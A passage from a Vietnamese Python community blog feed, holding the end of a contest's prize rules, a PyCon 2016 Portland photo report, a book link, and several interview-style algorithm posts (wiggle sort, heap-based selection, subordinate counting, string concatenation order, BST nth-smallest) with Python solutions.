<li>Bài thi với số điểm trung bình cao nhất trong <strong>3 tòa nhà</strong> được chọn khi chấm sẽ là bài thắng giải.</li>
<li><strong>Ba</strong> phần thưởng dành cho ba bài thi với số điểm trung bình cao nhất là ba cái áo thun và một số miếng dán mà bạn Nam đã gửi cho nhóm từ PyCon. Người hạng nhất sẽ được quyền chọn mẫu áo trước, rồi đến hạng nhì, và hạng ba. Mẫu áo đã được công bố trong <a class="reference external" href="https://drive.google.com/folderview?id=0B4aYVYJVZM_zT2tzZGdTNTUwQWc&usp=sharing">thư mục chia sẻ</a> ở bài trước.</li>
<li>Quyết định của ban tổ chức là cuối cùng.</li>
</ol>
<p>Mọi thắc mắc và thảo luận xin hãy dùng <a class="reference external" href="forum.vithon.org">diễn đàn</a>.</p>
<p>Chúc may mắn và nhiều niềm vui!</p>
PyCon 2016 ở thành phố Portland2016-06-12T18:07:00+07:002016-06-12T18:07:00+07:00Nguyễn Thành Namtag:None,2016-06-12:2016/06/pycon-2016-o-thanh-pho-portland.html<p>Hai tuần trước mình có tham dự hội thảo PyCon 2016 ở thành phố Portland, tiểu bang Oregon, vùng Tây Bắc nước Mỹ.</p>
<p>Cũng như mọi năm, PyCon vẫn là hội thảo tuyệt vời nhất từ trước đến nay. Tham dự hội thảo không chỉ có lập trình viên mà …</p><p>Hai tuần trước mình có tham dự hội thảo PyCon 2016 ở thành phố Portland, tiểu bang Oregon, vùng Tây Bắc nước Mỹ.</p>
<p>Cũng như mọi năm, PyCon vẫn là hội thảo tuyệt vời nhất từ trước đến nay. Tham dự hội thảo không chỉ có lập trình viên mà còn có nhiều nhà khoa học, giáo viên, sinh viên, và cả học sinh tiểu học nữa! Mình chưa từng thấy hội thảo khoa học kỹ thuật nào mà có thể quy tập được nhiều đối tượng tham gia như vậy.</p>
<p>Một điều tuyệt vời nữa là có rất nhiều các bạn nam, các bạn nữ, và cả các bạn chuyển giới tham gia PyCon. Điều này cho thấy Python không chỉ là một ngôn ngữ "có sẵn pin", mà có còn là một cộng đồng rất "bao gồm". Ai cũng được hoan nghênh, ai cũng được đối xử một cách tôn trọng, không có sự phân biệt đối xử.</p>
<p>Sau đây là một số hình ảnh mình ghi lại để chia sẻ cùng các bạn. Hy vọng một dịp nào đó sẽ gặp được các bạn ở trong các kỳ hội thảo trong tương lai:</p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zUU9DNkpxYWt5Smc">Bảng hiệu PyCon 2016 ở dọc đường đến trung tâm hội nghị Portland.</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zX3VIeEpKd3FpWWs">Em bé đứng nhìn tượng Martin Luther King, Jr. ở trước trung tâm hội nghị.</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zUE13c2xUUk16eUE">Hội trường chính, nơi diễn ra các bài tham luận chủ chốt.</a></p>
<p>Các bạn có thể thấy con lắc biểu tượng của trung tâm hội nghị Portland trong hai hình sau:</p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zbnk2VUNOaUlJYm8">Khu đăng ký (hình 1).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zT1NhYmNRb2VXaDA">Khu đăng ký (hình 2).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zTVl3Z1lpSTRNUDQ">Khu vực phòng Oregon (hình 1).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zcE1aVGRnbHAwb1k">Khu vực phòng Oregon (hình 2).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zam1VeDduZEhidWc">Khu vực phòng Oregon (hình 3).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zUWRiUXlOamdkV0E">Khu vực phòng Oregon (hình 4).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zZTZBOUtCenN4cGs">Khu vực phòng Portland (hình 1).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zbGpDZkpsRUh2bEk">Khu vực phòng Portland (hình 2).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zemFaTWJYSVg0Z00">Hình Guido bắt đầu bài tham luận chính.</a> Guido vẫn mặc chiếc áo bé gái như mọi năm. Không biết cái áo này sẽ còn theo Guido đến PyCon năm nào đây. Điều này cũng cho thấy Guido rất quan tâm đến sự đối xử bình đẳng, tôn trọng giới tính ở hội thảo PyCon.</p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zSGZHeEx1VF9jSTQ">Bảng đăng ký không gian mở (open spaces) ở hội thảo.</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zT19tZ0k5dl9kLVE">Ảnh trưng bày (poster session) (hình 1).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zRUhseUdyVnhRbXM">Ảnh trưng bày (poster session) (hình 2).</a></p>
<p>Hai hình ảnh của tác giả bài viết:</p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zVjR0RVZncHoySVU">Ảnh đẹp nhất hội thảo (hình 1).</a></p>
<p><a class="reference external" href="https://drive.google.com/uc?export=download&id=0B4aYVYJVZM_zWWxNZlZTMWg3NFU">Ảnh đẹp nhất hội thảo (hình 2).</a></p>
<p>Toàn bộ các hình ảnh có thể được truy cập trong thư mục <a class="reference external" href="https://drive.google.com/folderview?id=0B4aYVYJVZM_zT2tzZGdTNTUwQWc&usp=sharing">https://drive.google.com/folderview?id=0B4aYVYJVZM_zT2tzZGdTNTUwQWc&usp=sharing</a>.</p>
Sách "Python rất là cơ bản"2015-11-18T17:16:00+07:002015-11-18T17:16:00+07:00Nhóm PCNVtag:None,2015-11-18:2015/11/sach-python-rat-la-co-ban.html<p>Bạn <strong>Võ Duy Tuấn</strong> có thực hiện một quyển sách về Python với tựa đề <strong>Python rất là cơ bản</strong>. Nhóm PCNV xin giới thiệu cùng các bạn.</p>
<p><a class="reference external" href="http://bloghoctap.com/python/download-sach-python-rat-la-co-ban.html">http://bloghoctap.com/python/download-sach-python-rat-la-co-ban.html</a></p>
Phỏng vấn: Sắp xếp lắc lư2015-05-05T00:05:00+07:002015-05-05T00:05:00+07:00Nguyễn Thành Namtag:None,2015-05-05:2015/05/phong-van-sap-xep-lac-lu.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một mảng <strong>A</strong> các số nguyên <strong>a[i]</strong>, tìm cách sắp xếp mảng sao cho phần tử thứ nhất nhỏ hơn phần tử thứ hai, phần tử thứ hai lớn hơn phần tử thứ ba, phần tử thứ ba nhỏ hơn phần tử thứ tư v.v …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một mảng <strong>A</strong> các số nguyên <strong>a[i]</strong>, tìm cách sắp xếp mảng sao cho phần tử thứ nhất nhỏ hơn phần tử thứ hai, phần tử thứ hai lớn hơn phần tử thứ ba, phần tử thứ ba nhỏ hơn phần tử thứ tư v.v... Tức là:</p>
<pre class="literal-block">
a[0] <= a[1] >= a[2] <= a[3] >= a[4] ...
</pre>
<p>Ta gọi một mảng có thứ tự như vậy là một mảng đã được sắp xếp lắc lư (wiggly sorted).</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Ta nhận xét rằng yêu cầu thứ tự chỉ áp dụng vào hai phần tử lân cận của phần tử đang xét. Ví dụ, phần tử <strong>a[1]</strong> chỉ cần lớn hơn hai phần tử <strong>a[0]</strong> và <strong>a[2]</strong>, ngoài ra không còn quan hệ với phần tử nào nữa. Điều đó dẫn đến ý tưởng giải sẽ rất có thể ở dạng tham ăn (<strong>greedy algorithm</strong>).</p>
<p>Giả sử như ta đã có mảng <strong>A'</strong> có độ dài <strong>2n</strong> (chẵn) thỏa mãn điều kiện. Phần tử kế tiếp (<strong>2n + 1</strong>) vì ở vị trí lẻ nên sẽ phải nhỏ hơn phần tử cuối cùng trong mảng, đồng thời cũng phải đảm bảo nhỏ hơn phần tử sau đó (<strong>2n + 2</strong>). Vì ta không biết phần tử (<strong>2n + 2</strong>) sẽ có giá trị bao nhiêu nên cách an toàn nhất để thỏa mãn hai điều kiện cho phần tử <strong>2n + 1</strong> là chọn phần tử <strong>nhỏ nhất</strong> trong số các phần tử còn lại của <strong>A</strong>.</p>
<p>Lập luận tương tự cho thấy rằng phần tử ở vị trí <strong>chẵn</strong> nên có giá trị <strong>lớn nhất</strong> trong số các phần tử còn lại.</p>
<p>Tóm lại, cách giải câu hỏi này sẽ bao gồm hai bước chính:</p>
<ol class="arabic simple">
<li>Sắp xếp mảng <strong>A</strong> theo thứ tự tăng dần.</li>
<li>Lần lượt gán <strong>a[0] = min(A)</strong>, và <strong>a[1] = max(A[1 : ])</strong>, và <strong>a[2] = min(A[2 : ])</strong>, v.v...</li>
</ol>
<p>Dĩ nhiên là ta không cần gọi <strong>min</strong> hay <strong>max</strong> mà chỉ cần giữ hai biến chỉ mục từ đầu, và cuối mảng <strong>A</strong> để tìm ngay giá trị cực tiểu hay cực đại vì <strong>A</strong> đã được sắp xếp ở bước đầu tiên.</p>
<p>Độ phức tạp thực thi của cách giải này phụ thuộc vào thuộc toán sắp xếp sử dụng ở bước đầu tiên.</p>
<p>Vấn đề cài đặt cách giải xin được để lại cho bạn đọc. <a class="reference external" href="forum.vithon.org">Diễn đàn</a> là nơi tốt nhất để trao đổi về các yếu tố liên quan đến cài đặt.</p>
</div>
<div class="section" id="tong-ket">
<h2>Tổng kết</h2>
<p>Qua loạt bài <strong>Phỏng vấn</strong>, tác giả hy vọng rằng bạn đọc nhận ra được sự quan trọng của bộ kiến thức nền tảng, đặc biệt là các cấu trúc dữ liệu phổ biến. Từ các kiến thức nền tảng này, chúng ta có thể giải quyết được rất nhiều những vấn đề khác.</p>
<p><strong>Python</strong> cùng với phương châm <strong>kèm cả pin</strong> đem đến cho chúng ta một loạt các cấu trúc dữ liệu qua các kiểu, hoặc mô-đun có sẵn. <strong>Python</strong> thật sự là một công cụ mạnh mẽ và hữu ích.</p>
</div>
Phỏng vấn: Tìm 1 triệu số nhỏ nhất trong 1 tỷ số2015-04-30T04:56:00+07:002015-04-30T04:56:00+07:00Nguyễn Thành Namtag:None,2015-04-30:2015/04/phong-van-tim-1-trieu-so-nho-nhat-trong-1-ty-so.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho 1 tỷ số thực, tìm 1 triệu số nhỏ nhất trong 1 tỷ số đấy.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Cách giải đơn giản nhất là sắp xếp từ bé đến lớn 1 tỷ số đầu vào, sau đó chọn ra 1 triệu số đầu tiên. Độ phức tạp của …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho 1 tỷ số thực, tìm 1 triệu số nhỏ nhất trong 1 tỷ số đấy.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Cách giải đơn giản nhất là sắp xếp từ bé đến lớn 1 tỷ số đầu vào, sau đó chọn ra 1 triệu số đầu tiên. Độ phức tạp của cách giải này phụ thuộc vào độ phức tạp của thuật toán sắp xếp. Cách này có hai nhược điểm lớn: 1. là tốn bộ nhớ để chứa 1 tỷ số đầu vào để sắp xếp, 2. là nếu số lượng đầu vào không có giới hạn thì cách giải này không dùng được.</p>
<p>Giả sử ta chỉ có 1 triệu số đầu vào, thì rõ ràng kết quả sẽ chính là 1 triệu số đó. Khi có thêm 1 số mới, số mới này sẽ nằm trong kết quả nếu như nó nhỏ hơn số lớn nhất trong 1 triệu số kết quả hiện tại.</p>
<p>Với nhận xét đó, ta có cách giải thứ hai, tối ưu hơn cách đầu tiên. Ta sẽ tạo một <strong>max heap</strong> với 1 triệu phần tử. Với mỗi phần tử đầu vào, ta sẽ:</p>
<ol class="arabic simple">
<li>Đưa vào heap nếu heap chưa có đủ 1 triệu số</li>
<li>Nếu heap đã có đủ một triệu số thì lấy từ đỉnh heap ra (tức lấy phần tử lớn nhất trong heap) so sánh với phần tử đầu vào, và đưa lại vào heap phần tử nhỏ hơn trong phép so sánh đó.</li>
</ol>
<p>Độ phức tạp thực thi của cách giải này là <strong>O(nlogn)</strong> nhưng chỉ tốn bộ nhớ tỷ lệ với số phần tử đầu ra.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<p>Ta có thể dùng mô-đun <strong>heapq</strong> có sẵn để trả lời câu hỏi này. Mô-đun này giúp ta quản lý một <strong>min heap</strong>. Tuy nhiên, vì ta cần <strong>max heap</strong> nên các giá trị đầu vào sẽ được đổi thành số bù <strong>0 - x</strong>.</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">heapq</span>
<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">inp</span><span class="p">,</span> <span class="n">n</span><span class="o">=</span><span class="mi">1000000</span><span class="p">):</span>
<span class="n">heap</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">inp</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="o">-</span><span class="n">i</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">heap</span><span class="p">)</span> <span class="o"><</span> <span class="n">n</span><span class="p">:</span>
<span class="n">heapq</span><span class="o">.</span><span class="n">heappush</span><span class="p">(</span><span class="n">heap</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">heap</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">if</span> <span class="n">m</span> <span class="o"><</span> <span class="n">i</span><span class="p">:</span>
<span class="n">heapq</span><span class="o">.</span><span class="n">heapreplace</span><span class="p">(</span><span class="n">heap</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
<span class="k">return</span> <span class="p">[</span><span class="o">-</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">heap</span><span class="p">]</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">],</span> <span class="mi">3</span><span class="p">))</span> <span class="o">==</span> <span class="nb">set</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]))</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">5</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="mi">3</span><span class="p">))</span> <span class="o">==</span> <span class="nb">set</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]))</span>
</pre></div>
<p>Mô-đun <strong>heapq</strong> cũng có sẵn hàm <strong>nsmallest</strong> để giải quyết câu hỏi này ;).</p>
</div>
Phỏng vấn: Số nhân viên cấp dưới2015-04-10T04:56:00+07:002015-04-10T04:56:00+07:00Nguyễn Thành Namtag:None,2015-04-10:2015/04/phong-van-so-nhan-vien-cap-duoi.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một từ điển từ chuỗi sang chuỗi, khoá là tên nhân viên, và giá trị là tên của người quản lý. Nhân viên cấp cao nhất báo cáo cho chính họ. Tìm số nhân viên cấp dưới của một nhân viên nào đó.</p>
<p>Ví dụ: Trong từ …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một từ điển từ chuỗi sang chuỗi, khoá là tên nhân viên, và giá trị là tên của người quản lý. Nhân viên cấp cao nhất báo cáo cho chính họ. Tìm số nhân viên cấp dưới của một nhân viên nào đó.</p>
<p>Ví dụ: Trong từ điển sau, A và B cùng báo cáo cho C, C và E báo cáo cho F, D báo cáo cho E, và F là nhân viên cấp cao nhất:</p>
<pre class="literal-block">
{
"A": "C",
"B": "C",
"C": "F",
"D": "E",
"E": "F",
"F": "F",
}
</pre>
<p>Số lượng nhân viên cấp dưới của A là 0, B là 0, C là 2, D là 0, E là 1, và F là 5.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Giả sử A là nhân viên cấp dưới của B, và B là nhân viên cấp dưới của C.</p>
<p>Cách nhìn trực tiếp từ trên xuống theo câu hỏi này là C có 2 nhân viên cấp dưới, và B có một nhân viên cấp dưới. Nếu nhìn ngược lại, ta sẽ nói rằng A "đội" B lên 1, đội tiếp C lên 1, và B đội C lên thêm 1. Tức là mỗi nhân viên sẽ đội tất cả các nhân viên cấp trên của họ lên 1 (A đội B và C, B đội C).</p>
<p>Do đó, cách giải câu hỏi này là duyệt hết các phần tử trong danh sách, với mỗi phần tử, lần lượt đội (cộng 1) vào kết quả của các nhân viên cấp trên của phần tử đấy.</p>
<p>Độ phức tạp thực thi là <strong>O(n^2)</strong> và tốn <strong>O(n)</strong> bộ nhớ.</p>
<p>Nếu bạn có cách giải tốt hơn xin hãy cùng chia sẻ tại <a class="reference external" href="forum.vithon.org">diễn đàn</a>.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">employees</span><span class="p">):</span>
<span class="n">subordinate_count</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">emp</span><span class="p">,</span> <span class="n">boss</span> <span class="ow">in</span> <span class="n">employees</span><span class="o">.</span><span class="n">iteritems</span><span class="p">():</span>
<span class="k">if</span> <span class="n">emp</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">subordinate_count</span><span class="p">:</span>
<span class="n">subordinate_count</span><span class="p">[</span><span class="n">emp</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">emp</span> <span class="o">!=</span> <span class="n">boss</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">subordinate_count</span><span class="p">[</span><span class="n">boss</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">except</span> <span class="ne">KeyError</span><span class="p">:</span>
<span class="n">subordinate_count</span><span class="p">[</span><span class="n">boss</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">emp</span><span class="p">,</span> <span class="n">boss</span> <span class="o">=</span> <span class="n">boss</span><span class="p">,</span> <span class="n">employees</span><span class="p">[</span><span class="n">boss</span><span class="p">]</span>
<span class="k">return</span> <span class="n">subordinate_count</span>
<span class="n">inp</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"A"</span><span class="p">:</span> <span class="s2">"C"</span><span class="p">,</span> <span class="s2">"B"</span><span class="p">:</span> <span class="s2">"C"</span><span class="p">,</span> <span class="s2">"C"</span><span class="p">:</span> <span class="s2">"F"</span><span class="p">,</span> <span class="s2">"D"</span><span class="p">:</span> <span class="s2">"E"</span><span class="p">,</span> <span class="s2">"E"</span><span class="p">:</span> <span class="s2">"F"</span><span class="p">,</span> <span class="s2">"F"</span><span class="p">:</span> <span class="s2">"F"</span><span class="p">}</span>
<span class="n">exp</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"A"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">"B"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">"C"</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="s2">"D"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">"E"</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="s2">"F"</span><span class="p">:</span> <span class="mi">5</span><span class="p">}</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">inp</span><span class="p">)</span> <span class="o">==</span> <span class="n">exp</span><span class="p">)</span>
</pre></div>
</div>
Phỏng vấn: Cộng chuỗi ít tốn nhất2015-03-22T19:08:00+07:002015-03-22T19:08:00+07:00Nguyễn Thành Namtag:None,2015-03-22:2015/03/phong-van-cong-chuoi-it-ton-nhat.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho <strong>n</strong> chuỗi, tìm cách cộng các chuỗi này lại theo một thứ tự nào đó sao cho ít tốn bộ nhớ nhất.</p>
<p>Ví dụ: Cho chuỗi <strong>A=abc</strong>, <strong>B=wxyz</strong>, <strong>C=g</strong>, và xét hai cách cộng chuỗi sau:</p>
<ol class="arabic simple">
<li>Cộng <strong>A</strong> và <strong>B</strong> trước, sau đó cộng …</li></ol></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho <strong>n</strong> chuỗi, tìm cách cộng các chuỗi này lại theo một thứ tự nào đó sao cho ít tốn bộ nhớ nhất.</p>
<p>Ví dụ: Cho chuỗi <strong>A=abc</strong>, <strong>B=wxyz</strong>, <strong>C=g</strong>, và xét hai cách cộng chuỗi sau:</p>
<ol class="arabic simple">
<li>Cộng <strong>A</strong> và <strong>B</strong> trước, sau đó cộng với <strong>C</strong>. <strong>A + B</strong> sẽ tốn <strong>3 + 4 = 7</strong>. Sau đó cộng thêm <strong>C</strong> sẽ tốn <strong>7 + 1 = 8</strong>. Tổng cộng tốn <strong>7 + 8 = 15</strong>.</li>
<li>Cộng <strong>A</strong> và <strong>C</strong> trước, sau đó cộng với <strong>B</strong>. <strong>A + C</strong> tốn <strong>3 + 1 = 4</strong>. Sau đó cộng thêm <strong>B</strong> sẽ tốn <strong>4 + 4 = 8</strong>. Tổng cộng tốn <strong>4 + 8 = 12</strong>.</li>
</ol>
<p>Cách cộng chuỗi thứ 2 đỡ tốn bộ nhớ hơn cách thứ 1, và cũng là cách tốn ít bộ nhớ nhất.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Việc cộng <strong>n</strong> chuỗi với nhau luôn luôn tốn <strong>n-1</strong> phép cộng chuỗi, và tạo ra chuỗi cuối cùng với độ lớn không đổi. Do đó, lý do tốn bộ nhớ không phải là vì kết quả cuối cùng, mà là do các mảng nhớ tạm ta phải sử dụng để chứa kết quả của các phép cộng chuỗi này.</p>
<p>Xét ba chuỗi bất kỳ với độ lớn <strong>x <= y <= z</strong>. Ta cần thực hiện 2 phép cộng chuỗi, và độ lớn của chuỗi cuối cùng sẽ là tổng của <strong>x + y + z</strong> không đổi. Độ lớn của chuỗi tạm sẽ là tổng này trừ đi độ lớn của chuỗi gốc trong phép cộng chuỗi thứ 2. Dễ thấy rằng nếu ta để dành chuỗi có độ lớn <strong>z</strong> để cộng cuối cùng, thì độ lớn của chuỗi tạm sẽ là nhỏ nhất, <strong>x + y</strong>.</p>
<p>Do đó, ta sẽ để dành chuỗi có chiều dài lớn nhất cho các phép cộng sau cùng, chuỗi có độ dài lớn thứ hai cho phép cộng kế cuối... Vì vậy, cách giải bài toán này chỉ đơn giản là sắp xếp các chuỗi đã cho theo thứ tự tăng dần về độ lớn chuỗi.</p>
<p>Phần cài đặt xin được để dành làm một thử thách nhỏ cho bạn đọc. <a class="reference external" href="forum.vithon.org">Diễn đàn</a> là nơi phù hợp để trao đổi thêm về những vấn đề tương tự.</p>
</div>
Phỏng vấn: In ra phần tử nhỏ thứ n trong cây nhị phân2015-03-19T04:19:00+07:002015-03-19T04:19:00+07:00Nguyễn Thành Namtag:None,2015-03-19:2015/03/phong-van-in-ra-phan-tu-nho-thu-n-trong-cay-nhi-phan.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một cây nhị phân tìm kiếm (binary search tree), in ra phần tử nhỏ thứ <strong>n</strong> trong cây này.</p>
<p>Ví dụ: Với cây nhị phân như sau:</p>
<pre class="literal-block">
7
5 9
3 6 10
</pre>
<p>Phần tử nhỏ nhất (<strong>n=1</strong>) là 3, phần tử nhỏ thứ 2 là …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một cây nhị phân tìm kiếm (binary search tree), in ra phần tử nhỏ thứ <strong>n</strong> trong cây này.</p>
<p>Ví dụ: Với cây nhị phân như sau:</p>
<pre class="literal-block">
7
5 9
3 6 10
</pre>
<p>Phần tử nhỏ nhất (<strong>n=1</strong>) là 3, phần tử nhỏ thứ 2 là 5, phần tử nhỏ thứ 3 là 6.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Vì đây là cây nhị phân tìm kiếm nên ta luôn có điều kiện bất biến là các đỉnh bên trái luôn luôn nhỏ hơn hoặc bằng, và các đỉnh bên phải luôn luôn lớn hơn hoặc bằng giá trị của đỉnh đang xét.</p>
<p>Do đó, phần tử nhỏ nhất thứ <strong>n</strong> cũng là phần tử thứ <strong>n</strong> trong quá trình duyệt cây theo thứ tự <strong>trái, giữa, phải</strong>, tức là theo cách tìm kiếm ưu tiên chiều sâu (depth first search).</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">traverse</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">nr_seen</span><span class="p">):</span>
<span class="sd">'''Trả về (số đỉnh đã qua, và kết quả).'''</span>
<span class="k">if</span> <span class="n">node</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
<span class="k">return</span> <span class="n">nr_seen</span><span class="p">,</span> <span class="kc">None</span>
<span class="c1"># Tìm trong nhánh trái</span>
<span class="n">nr_seen</span><span class="p">,</span> <span class="n">answer</span> <span class="o">=</span> <span class="n">traverse</span><span class="p">(</span><span class="n">node</span><span class="o">.</span><span class="n">left</span><span class="p">,</span> <span class="n">nr_seen</span><span class="p">)</span>
<span class="k">if</span> <span class="n">answer</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="c1"># Tìm thấy kết quả bên nhánh trái.</span>
<span class="k">return</span> <span class="n">nr_seen</span><span class="p">,</span> <span class="n">answer</span>
<span class="n">nr_seen</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">nr_seen</span> <span class="o">==</span> <span class="n">n</span><span class="p">:</span>
<span class="c1"># Đỉnh hiện tại chính là đỉnh cần tìm.</span>
<span class="k">return</span> <span class="n">nr_seen</span><span class="p">,</span> <span class="n">node</span><span class="o">.</span><span class="n">value</span>
<span class="c1"># Tìm trong nhánh phải</span>
<span class="n">nr_seen</span><span class="p">,</span> <span class="n">answer</span> <span class="o">=</span> <span class="n">traverse</span><span class="p">(</span><span class="n">node</span><span class="o">.</span><span class="n">right</span><span class="p">,</span> <span class="n">nr_seen</span><span class="p">)</span>
<span class="k">return</span> <span class="n">nr_seen</span><span class="p">,</span> <span class="n">answer</span>
<span class="n">nr_seen</span><span class="p">,</span> <span class="n">answer</span> <span class="o">=</span> <span class="n">traverse</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="n">answer</span>
<span class="k">class</span> <span class="nc">Node</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">left</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">right</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">value</span>
<span class="bp">self</span><span class="o">.</span><span class="n">left</span> <span class="o">=</span> <span class="n">left</span>
<span class="bp">self</span><span class="o">.</span><span class="n">right</span> <span class="o">=</span> <span class="n">right</span>
<span class="n">root</span> <span class="o">=</span> <span class="n">Node</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">Node</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">Node</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span> <span class="n">Node</span><span class="p">(</span><span class="mi">6</span><span class="p">)),</span> <span class="n">Node</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="n">Node</span><span class="p">(</span><span class="mi">10</span><span class="p">)))</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">5</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span>
